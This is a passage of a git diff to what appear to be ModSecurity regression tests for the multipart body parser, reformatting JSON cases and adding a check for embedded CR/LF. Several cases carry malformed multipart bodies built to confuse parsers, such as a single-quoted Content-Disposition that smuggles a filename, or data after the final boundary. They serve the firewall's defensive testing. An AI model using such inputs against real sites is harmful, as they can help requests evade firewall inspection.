"Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "debug_log":"Adding request argument \\(BODY\\): name \"b\", value \"22.12.22.3\"", - "http_code":403 + "expected": { + "debug_log": "Adding request argument \\(BODY\\): name \"b\", value \"2\r\n2.1\r\n2.2\r\n2.3\"", + "http_code": 403 }, - "rules":[ - "SecRuleEngine On", - "SecRequestBodyAccess On", - "SecRule MULTIPART_STRICT_ERROR \"@eq 1\" \"phase:2,deny,id:500055\"", - "SecRule MULTIPART_UNMATCHED_BOUNDARY \"@eq 1\" \"phase:2,deny,id:500056\"", - "SecRule REQBODY_PROCESSOR_ERROR \"@eq 1\" \"phase:2,deny,id:500057\"", - "SecRule ARGS_POST \"@eq 1231\" \"phase:2,deny,id:500067\"" + "rules": [ + "SecRuleEngine On", + "SecRequestBodyAccess On", + "SecRule MULTIPART_STRICT_ERROR \"@eq 1\" \"phase:2,deny,id:500055\"" + ] + }, + { + "enabled": 1, + "version_min": 300000, + "title": "multipart parser - check \\r and \\n in multipart part", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "144", + "Content-Type": "multipart/form-data; boundary=00000000; charset=UTF-8", + "Expect": "100-continue" + }, + "uri": "/", + "method": "POST", + "body": [ + "--00000000\r\n", + "Content-Disposition: form-data; name=\"namea\"\r\n", + "\r\n", + "111\r\n", + "--00000000\r\n", + "Content-Disposition: form-data; name=\"nameb\"\r\n", + "\r\n", + "22\r\n2\r\n", + "--00000000--\r\n" + ] + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" + }, + "body": [ + "no need." + ] + }, + "expected": { + "debug_log": "Multipart: Invalid parameter after boundary in C-T \\(tolerated\\).*Added data", + "http_code": 403 + }, + "rules": [ + "SecRuleEngine On", + "SecRequestBodyAccess On", + "SecRule ARGS:nameb \"@streq 22\r\n2\" \"phase:2,deny,id:500096\"" ] } ] diff --git a/test/test-cases/regression/request-body-parser-multipart.json b/test/test-cases/regression/request-body-parser-multipart.json index c922057378..84e61c1e0d 100644 --- a/test/test-cases/regression/request-body-parser-multipart.json +++ b/test/test-cases/regression/request-body-parser-multipart.json @@ -1,3298 +1,3472 @@ -[ - { - "enabled":1, - "version_min":300000, - "title":"multipart parser (normal)", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length":"330", - "Content-Type":"multipart/form-data; boundary=0000", - "Expect":"100-continue" - }, - "uri":"/", - "method":"POST", - "body":[ - "--0000\r", - "Content-Disposition: form-data; name=\"name\"\r", - "\r", - "Brian Rectanus\r", - "--0000\r", - "Content-Disposition: form-data; name=\"email\"\r", - "\r", - "brian.rectanus@breach.com\r", - "--0000\r", - "Content-Disposition: form-data; name=\"image\"; filename=\"image.jpg\"\r", - "Content-Type: image/jpeg\r", - "\r", - "BINARYDATA\r", - "--0000--\r" - ] - }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" - }, - "body":[ - "no need." - ] - }, - "expected":{ - "debug_log":"Added file part to the list: name \"image\" file name \"image.jpg\" \\(offset 258, length 10\\)" - }, - "rules":[ - "SecRuleEngine On", - "SecRequestBodyAccess On", - "SecRule MULTIPART_STRICT_ERROR \"@eq 1\" \"phase:2,deny,id:500055\"", - "SecRule MULTIPART_UNMATCHED_BOUNDARY \"@eq 1\" \"phase:2,deny,id:500056\"", - "SecRule REQBODY_PROCESSOR_ERROR \"@eq 1\" \"phase:2,deny,id:500057\"" - ] - }, - { - "enabled":1, - "version_min":300000, - "title":"multipart parser (final CRLF)", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length":"330", - "Content-Type":"multipart/form-data; boundary=---------------------------69343412719991675451336310646", - "Expect":"100-continue" - }, - "uri":"/", - "method":"POST", - "body":[ - "-----------------------------69343412719991675451336310646\r", - "Content-Disposition: form-data; name=\"a\"\r", - "\r", - "1\r", - "-----------------------------69343412719991675451336310646\r", - "Content-Disposition: form-data; name=\"b\"\r", - "\r", - "2\r", - "-----------------------------69343412719991675451336310646--\r" - ] - }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" - }, - "body":[ - "no need." - ] - }, - "expected":{ - "debug_log":"Adding request argument \\(BODY\\): name \"a\", value \"1\"" - }, - "rules":[ - "SecRuleEngine On", - "SecRequestBodyAccess On", - "SecRule MULTIPART_STRICT_ERROR \"@eq 1\" \"phase:2,deny,id:500055\"", - "SecRule MULTIPART_UNMATCHED_BOUNDARY \"@eq 1\" \"phase:2,deny,id:500056\"", - "SecRule REQBODY_PROCESSOR_ERROR \"@eq 1\" \"phase:2,deny,id:500057\"" - ] - }, - { - "enabled":1, - "version_min":300000, - "title":"multipart parser (no final CRLF) - FIXME: test suit cannot work without the ending \\n", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length":"330", - "Content-Type":"multipart/form-data; boundary=---------------------------69343412719991675451336310646", - "Expect":"100-continue" - }, - "uri":"/", - "method":"POST", - "body":[ - "-----------------------------69343412719991675451336310646\r", - "Content-Disposition: form-data; name=\"a\"\r", - "\r", - "1\r", - "-----------------------------69343412719991675451336310646\r", - "Content-Disposition: form-data; name=\"b\"\r", - "\r", - "2\r", - "-----------------------------69343412719991675451336310646--\r" - ] - }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" - }, - "body":[ - "no need." - ] - }, - "expected":{ - "debug_log":"Adding request argument \\(BODY\\): name \"a\", value \"1\"" - }, - "rules":[ - "SecRuleEngine On", - "SecRequestBodyAccess On", - "SecRule MULTIPART_STRICT_ERROR \"@eq 1\" \"phase:2,deny,id:500055\"", - "SecRule MULTIPART_UNMATCHED_BOUNDARY \"@eq 1\" \"phase:2,deny,id:500056\"", - "SecRule REQBODY_PROCESSOR_ERROR \"@eq 1\" \"phase:2,deny,id:500057\"" - ] - }, - { - "enabled":1, - "version_min":300000, - "title":"multipart parser (boundary contains \"boundary\")", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length":"330", - "Content-Type":"multipart/form-data; boundary=------------------------------------------------boundary", - "Expect":"100-continue" - }, - "uri":"/", - "method":"POST", - "body":[ - "--------------------------------------------------boundary\r", - "Content-Disposition: form-data; name=\"a\"\r", - "\r", - "1\r", - "--------------------------------------------------boundary\r", - "Content-Disposition: form-data; name=\"b\"\r", - "\r", - "2\r", - "--------------------------------------------------boundary--\r" - ] - }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" - }, - "body":[ - "no need." - ] - }, - "expected":{ - "debug_log":"Adding request argument \\(BODY\\): name \"a\", value \"1\"" - }, - "rules":[ - "SecRuleEngine On", - "SecRequestBodyAccess On", - "SecRule MULTIPART_STRICT_ERROR \"@eq 1\" \"phase:2,deny,id:500055\"", - "SecRule MULTIPART_UNMATCHED_BOUNDARY \"@eq 1\" \"phase:2,deny,id:500056\"", - "SecRule REQBODY_PROCESSOR_ERROR \"@eq 1\" \"phase:2,deny,id:500057\"" - ] - }, - { - "enabled":1, - "version_min":300000, - "title":"multipart parser (boundary contains \"bOuNdArY\")", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length":"330", - "Content-Type":"multipart/form-data; boundary=--------0xKhTmLbOuNdArY", - "Expect":"100-continue" - }, - "uri":"/", - "method":"POST", - "body":[ - "----------0xKhTmLbOuNdArY\r", - "Content-Disposition: form-data; name=\"a\"\r", - "\r", - "1\r", - "----------0xKhTmLbOuNdArY\r", - "Content-Disposition: form-data; name=\"b\"\r", - "\r", - "2\r", - "----------0xKhTmLbOuNdArY--\r" - ] - }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" - }, - "body":[ - "no need." - ] - }, - "expected":{ - "debug_log":"Adding request argument \\(BODY\\): name \"a\", value \"1\"" - }, - "rules":[ - "SecRuleEngine On", - "SecRequestBodyAccess On", - "SecRule MULTIPART_STRICT_ERROR \"@eq 1\" \"phase:2,deny,id:500055\"", - "SecRule MULTIPART_UNMATCHED_BOUNDARY \"@eq 1\" \"phase:2,deny,id:500056\"", - "SecRule REQBODY_PROCESSOR_ERROR \"@eq 1\" \"phase:2,deny,id:500057\"" - ] - }, - { - "enabled":1, - "version_min":300000, - "title":"multipart parser (data contains \"--\")", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length":"330", - "Content-Type":"multipart/form-data; boundary=---------------------------69343412719991675451336310646", - "Expect":"100-continue" - }, - "uri":"/", - "method":"POST", - "body":[ - "-----------------------------69343412719991675451336310646\r", - "Content-Disposition: form-data; name=\"a\"\r", - "\r", - "--test\r", - "-----------------------------69343412719991675451336310646\r", - "Content-Disposition: form-data; name=\"b\"\r", - "\r", - "--\r", - "-----------------------------69343412719991675451336310646--\r" - - ] - }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" - }, - "body":[ - "no need." - ] - }, - "expected":{ - "debug_log":"Adding request argument \\(BODY\\): name \"a\", value \"--test\"" - }, - "rules":[ - "SecRuleEngine On", - "SecRequestBodyAccess On", - "SecRule MULTIPART_STRICT_ERROR \"@eq 1\" \"phase:2,deny,id:500055\"", - "SecRule REQBODY_PROCESSOR_ERROR \"@eq 1\" \"phase:2,deny,id:500057\"" - ] - }, - { - "enabled":1, - "version_min":300000, - "title":"multipart parser error (no final boundary)", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length":"330", - "Content-Type":"multipart/form-data; boundary=---------------------------69343412719991675451336310646", - "Expect":"100-continue" - }, - "uri":"/", - "method":"POST", - "body":[ - "-----------------------------69343412719991675451336310646\r", - "Content-Disposition: form-data; name=\"a\"\r", - "\r", - "1\r", - "-----------------------------69343412719991675451336310646\r", - "Content-Disposition: form-data; name=\"b\"\r", - "\r", - "2\r" - ] - }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" - }, - "body":[ - "no need." - ] - }, - "expected":{ - "debug_log":"Final boundary missing" - }, - "rules":[ - "SecRuleEngine On", - "SecRequestBodyAccess On", - "SecRule MULTIPART_NAME \"@eq 1234\" \"phase:2,deny,id:500067\"" - ] - }, - { - "enabled":1, - "version_min":300000, - "title":"multipart parser error (no disposition)", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length":"330", - "Content-Type":"multipart/form-data; boundary=---------------------------69343412719991675451336310646", - "Expect":"100-continue" - }, - "uri":"/", - "method":"POST", - "body":[ - "-----------------------------69343412719991675451336310646\r", - "\r", - "1\r", - "-----------------------------69343412719991675451336310646\r", - "\r", - "2\r", - "-----------------------------69343412719991675451336310646--\r" - ] - }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" - }, - "body":[ - "no need." - ] - }, - "expected":{ - "debug_log":"Part missing Content-Disposition header" - }, - "rules":[ - "SecRuleEngine On", - "SecRequestBodyAccess On", - "SecRule MULTIPART_NAME \"@eq 1234\" \"phase:2,deny,id:500067\"" - ] - }, - { - "enabled":1, - "version_min":300000, - "title":"multipart parser error (bad disposition)", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length":"330", - "Content-Type":"multipart/form-data; boundary=---------------------------69343412719991675451336310646", - "Expect":"100-continue" - }, - "uri":"/", - "method":"POST", - "body":[ - "-----------------------------69343412719991675451336310646\r", - "Content-Disposition: form-data name=\"a\"\r", - "\r", - "1\r", - "-----------------------------69343412719991675451336310646\r", - "Content-Disposition: form-data name=\"b\"\r", - "\r", - "2\r", - "-----------------------------69343412719991675451336310646--\r" - ] - }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" - }, - "body":[ - "no need." - ] - }, - "expected":{ - "debug_log":"Invalid Content-Disposition header" - }, - "rules":[ - "SecRuleEngine On", - "SecRequestBodyAccess On", - "SecRule MULTIPART_NAME \"@eq 1234\" \"phase:2,deny,id:500067\"" - ] - }, - { - "enabled":1, - "version_min":300000, - "title":"multipart parser error (no disposition name)", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length":"330", - "Content-Type":"multipart/form-data; boundary=---------------------------69343412719991675451336310646", - "Expect":"100-continue" - }, - "uri":"/", - "method":"POST", - "body":[ - "-----------------------------69343412719991675451336310646\r", - "Content-Disposition: form-data;\r", - "\r", - "1\r", - "-----------------------------69343412719991675451336310646\r", - "Content-Disposition: form-data;\r", - "\r", - "2\r", - "-----------------------------69343412719991675451336310646--\r" - ] - }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" - }, - "body":[ - "no need." - ] - }, - "expected":{ - "debug_log":"Content-Disposition header missing name field" - }, - "rules":[ - "SecRuleEngine On", - "SecRequestBodyAccess On", - "SecRule MULTIPART_NAME \"@eq 1234\" \"phase:2,deny,id:500067\"" - ] - }, - { - "enabled":1, - "version_min":300000, - "title":"multipart parser error (no disposition name)", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length":"330", - "Content-Type":"multipart/form-data; boundary=---------------------------69343412719991675451336310646", - "Expect":"100-continue" - }, - "uri":"/", - "method":"POST", - "body":[ - "-----------------------------69343412719991675451336310646\r", - "Content-Disposition: form-data; name=\"a\"\r", - "\r", - "1\r", - "-----------------------------69343412719991675451336310646\r", - ":\r", - "-----------------------------69343412719991675451336310646\r", - "Content-Disposition: form-data; name=\"b\"\r", - "\r", - "2\r", - "-----------------------------69343412719991675451336310646--\r" - ] - }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" - }, - "body":[ - "no need." - ] - }, - "expected":{ - "debug_log":"nvalid part header \\(header name missing\\)" - }, - "rules":[ - "SecRuleEngine On", - "SecRequestBodyAccess On", - "SecRule MULTIPART_NAME \"@eq 1234\" \"phase:2,deny,id:500067\"" - ] - }, - { - "enabled":1, - "version_min":300000, - "title":"multipart parser (part header folding - space)", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length":"330", - "Content-Type":"multipart/form-data; boundary=---------------------------69343412719991675451336310646", - "Expect":"100-continue" - }, - "uri":"/", - "method":"POST", - "body":[ - "-----------------------------69343412719991675451336310646\r", - "Content-Disposition: form-data;\r", - " name=\"a\"\r", - "\r", - "1\r", - "-----------------------------69343412719991675451336310646\r", - "Content-Disposition: form-data;\r", - " name=\"b\"\r", - "\r", - "2\r", - "-----------------------------69343412719991675451336310646--\r" - ] - }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" - }, - "body":[ - "no need." - ] - }, - "expected":{ - "debug_log":"name: a.*variable: 1.*" - }, - "rules":[ - "SecRuleEngine On", - "SecRule MULTIPART_STRICT_ERROR \"!@eq 1\" \"phase:2,deny,status:403,id:500074\"", - "SecRule MULTIPART_HEADER_FOLDING \"!@eq 1\" \"phase:2,deny,status:403,id:500075\"", - "SecRule MULTIPART_INVALID_HEADER_FOLDING \"!@eq 0\" \"phase:2,deny,status:403,id:500076\"", - "SecRule REQBODY_PROCESSOR_ERROR \"@eq 1\" \"phase:2,deny,status:403,id:500077\"" - ] - }, - { - "enabled":1, - "version_min":300000, - "title":"multipart parser (part header folding - tab)", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length":"330", - "Content-Type":"multipart/form-data; boundary=---------------------------69343412719991675451336310646", - "Expect":"100-continue" - }, - "uri":"/", - "method":"POST", - "body":[ - "-----------------------------69343412719991675451336310646\r", - "Content-Disposition: form-data;\r", - " name=\"a\"\r", - "\r", - "1\r", - "-----------------------------69343412719991675451336310646\r", - "Content-Disposition: form-data;\r", - " name=\"b\"\r", - "\r", - "2\r", - "-----------------------------69343412719991675451336310646--\r" - ] - }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" - }, - "body":[ - "no need." - ] - }, - "expected":{ - "debug_log":"name: a.*variable: 1.*" - }, - "rules":[ - "SecRuleEngine On", - "SecRule MULTIPART_STRICT_ERROR \"!@eq 1\" \"phase:2,deny,status:403,id:500074\"", - "SecRule MULTIPART_HEADER_FOLDING \"!@eq 1\" \"phase:2,deny,status:403,id:500075\"", - "SecRule MULTIPART_INVALID_HEADER_FOLDING \"!@eq 0\" \"phase:2,deny,status:403,id:500076\"", - "SecRule REQBODY_PROCESSOR_ERROR \"@eq 1\" \"phase:2,deny,status:403,id:500077\"" - ] - }, - { - "enabled":1, - "version_min":300000, - "title":"multipart parser (part header folding - mixed)", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length":"330", - "Content-Type":"multipart/form-data; boundary=---------------------------69343412719991675451336310646", - "Expect":"100-continue" - }, - "uri":"/", - "method":"POST", - "body":[ - "-----------------------------69343412719991675451336310646\r", - "Content-Disposition: form-data; name=\"a\"\r", - "\r", - "1\r", - "-----------------------------69343412719991675451336310646\r", - "Content-Disposition: form-data;\r", - " name=\"b\"\r", - "\r", - "2\r", - "-----------------------------69343412719991675451336310646--\r" - ] - }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" - }, - "body":[ - "no need." - ] - }, - "expected":{ - "debug_log":"name: a.*variable: 1.*" - }, - "rules":[ - "SecRuleEngine On", - "SecRule MULTIPART_STRICT_ERROR \"!@eq 1\" \"phase:2,deny,status:403,id:500074\"", - "SecRule MULTIPART_HEADER_FOLDING \"!@eq 1\" \"phase:2,deny,status:403,id:500075\"", - "SecRule MULTIPART_INVALID_HEADER_FOLDING \"!@eq 0\" \"phase:2,deny,status:403,id:500076\"", - "SecRule REQBODY_PROCESSOR_ERROR \"@eq 1\" \"phase:2,deny,status:403,id:500077\"" - ] - }, - { - "enabled":1, - "version_min":300000, - "title":"multipart parser (part header folding - invalid)", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length":"330", - "Content-Type":"multipart/form-data; boundary=---------------------------69343412719991675451336310646", - "Expect":"100-continue" - }, - "uri":"/", - "method":"POST", - "body":[ - "-----------------------------69343412719991675451336310646\r", - "Content-Disposition: form-data; name=\"a\"\r", - "\r", - "1\r", - "-----------------------------69343412719991675451336310646\r", - "Content-Disposition: form-data;\r", - "\fname=\"b\"\r", - "\r", - "2\r", - "-----------------------------69343412719991675451336310646--\r" - ] - }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" - }, - "body":[ - "no need." - ] - }, - "expected":{ - "debug_log":"name: a.*variable: 1.*" - }, - "rules":[ - "SecRuleEngine On", - "SecRule MULTIPART_STRICT_ERROR \"!@eq 1\" \"phase:2,deny,status:403,id:500074\"", - "SecRule MULTIPART_HEADER_FOLDING \"!@eq 1\" \"phase:2,deny,status:403,id:500075\"", - "SecRule MULTIPART_INVALID_HEADER_FOLDING \"!@eq 1\" \"phase:2,deny,status:403,id:500076\"", - "SecRule REQBODY_PROCESSOR_ERROR \"@eq 1\" \"phase:2,deny,status:403,id:500077\"" - ] - }, - { - "enabled":1, - "version_min":300000, - "title":"multipart parser (part header folding - mixed invalid)", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length":"330", - "Content-Type":"multipart/form-data; boundary=---------------------------69343412719991675451336310646", - "Expect":"100-continue" - }, - "uri":"/", - "method":"POST", - "body":[ - "-----------------------------69343412719991675451336310646\r", - "Content-Disposition: form-data; name=\"a\"\r", - "\r", - "1\r", - "-----------------------------69343412719991675451336310646\r", - "Content-Disposition: form-data;\r", - "\f\tname=\"b\"\r", - "\r", - "2\r", - "-----------------------------69343412719991675451336310646--\r" - ] - }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" - }, - "body":[ - "no need." - ] - }, - "expected":{ - "debug_log":"name: a.*variable: 1.*" - }, - "rules":[ - "SecRuleEngine On", - "SecRule MULTIPART_STRICT_ERROR \"!@eq 1\" \"phase:2,deny,status:403,id:500074\"", - "SecRule MULTIPART_HEADER_FOLDING \"!@eq 1\" \"phase:2,deny,status:403,id:500075\"", - "SecRule MULTIPART_INVALID_HEADER_FOLDING \"!@eq 1\" \"phase:2,deny,status:403,id:500076\"", - "SecRule REQBODY_PROCESSOR_ERROR \"@eq 1\" \"phase:2,deny,status:403,id:500077\"" - ] - }, - { - "enabled":1, - "version_min":300000, - "title":"multipart parser (data after final boundary)", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length":"330", - "Content-Type":"multipart/form-data; boundary=---------------------------69343412719991675451336310646", - "Expect":"100-continue" - }, - "uri":"/", - "method":"POST", - "body":[ - "-----------------------------69343412719991675451336310646\r", - "Content-Disposition: form-data; name=\"a\"\r", - "\r", - "1\r", - "-----------------------------69343412719991675451336310646--\r", - "-----------------------------69343412719991675451336310646\r", - "Content-Disposition: form-data; name=\"b\"\r", - "\r", - "2\r", - "-----------------------------69343412719991675451336310646--\r" - ] - }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" - }, - "body":[ - "no need." - ] - }, - "expected":{ - "debug_log":"name: a.*variable: 1.*", - "http_code": 403 - }, - "rules":[ - "SecRuleEngine On", - "SecRule MULTIPART_DATA_AFTER \"@eq 1\" \"phase:2,deny,status:403,id:500074\"" - ] - }, - { - "enabled":1, - "version_min":300000, - "title":"multipart parser (C-D uses single quotes)", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length":"330", - "Content-Type":"multipart/form-data; boundary=---------------------------69343412719991675451336310646", - "Expect":"100-continue" - }, - "uri":"/", - "method":"POST", - "body":[ - "-----------------------------69343412719991675451336310646\r", - "Content-Disposition: form-data; name=\"a\"\r", - "\r", - "1\r", - "-----------------------------69343412719991675451336310646\r", - "Content-Disposition: form-data; name=';filename=\"dummy';name=b;\"\r", - "\r", - "2\r", - "-----------------------------69343412719991675451336310646--\r" - - ] - }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" - }, - "body":[ - "no need." - ] - }, - "expected":{ - "debug_log":"Duplicate Content-Disposition name", - "http_code": 200 - }, - "rules":[ - "SecRuleEngine On", - "SecRule MULTIPART_STRICT_ERROR \"!@eq 1\" \"phase:2,deny,id:500095\"", - "SecRule MULTIPART_INVALID_QUOTING \"!@eq 1\" \"phase:2,deny,id:500096\"", - "SecRule REQBODY_PROCESSOR_ERROR \"@eq 1\" \"chain,phase:2,deny,id:500097\"" - ] - }, - { - "enabled":1, - "version_min":300000, - "title":"multipart parser (invalid C-T boundary separator - comma)", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length":"330", - "Content-Type":"multipart/form-data, boundary=0000", - "Expect":"100-continue" - }, - "uri":"/", - "method":"POST", - "body":[ - "--0000\r", - "Content-Disposition: form-data; name=\"name\"\r", - "\r", - "Brian Rectanus\r", - "--0000\r", - "Content-Disposition: form-data; name=\"email\"\r", - "\r", - "brian.rectanus@breach.com\r", - "--0000\r", - "Content-Disposition: form-data; name=\"image\"; filename=\"image.jpg\"\r", - "Content-Type: image/jpeg\r", - "\r", - "BINARYDATA\r", - "--0000--\r" - ] - }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" - }, - "body":[ - "no need." - ] - }, - "expected":{ - "debug_log":"Invalid boundary in C-T \\(malformed\\)", - "http_code": 403 - }, - "rules":[ - "SecRuleEngine On", - "SecRule MULTIPART_STRICT_ERROR \"!@eq 1\" \"phase:2,deny,id:500095\"", - "SecRule MULTIPART_UNMATCHED_BOUNDARY \"!@eq 1\" \"phase:2,deny,id:500096\"", - "SecRule REQBODY_PROCESSOR_ERROR \"@eq 1\" \"chain,phase:2,deny,id:500097\"" - ] - }, - { - "enabled":1, - "version_min":300000, - "title":"multipart parser (invalid C-T boundary separator - space)", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length":"330", - "Content-Type":"multipart/form-data boundary=0000", - "Expect":"100-continue" - }, - "uri":"/", - "method":"POST", - "body":[ - "--0000\r", - "Content-Disposition: form-data; name=\"name\"\r", - "\r", - "Brian Rectanus\r", - "--0000\r", - "Content-Disposition: form-data; name=\"email\"\r", - "\r", - "brian.rectanus@breach.com\r", - "--0000\r", - "Content-Disposition: form-data; name=\"image\"; filename=\"image.jpg\"\r", - "Content-Type: image/jpeg\r", - "\r", - "BINARYDATA\r", - "--0000--\r" - ] - }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 